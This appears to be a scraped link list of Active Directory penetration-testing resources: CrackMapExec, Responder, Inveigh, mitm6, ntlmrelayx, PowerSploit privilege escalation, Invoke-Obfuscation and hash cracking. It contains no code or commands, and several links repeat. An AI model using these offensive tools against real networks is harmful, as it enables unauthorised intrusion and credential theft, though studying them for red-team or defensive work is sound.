https://www.youtube.com/watch?v=RUbADHcBLKg

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/danielbohannon/Invoke-Obfuscation

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

https://github.com/hausec/ADAPE-Script

https://github.com/SpiderLabs/Responder

https://github.com/Kevin-Robertson/Inveigh

https://hashkiller.co.uk/Tools/HashcatGUI

https://github.com/fox-it/mitm6

https://hausec.com/how-to-set-up-ntlmrelayx-py/

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://github.com/hausec/ADAPE-Script

相关文章
相关标签/搜索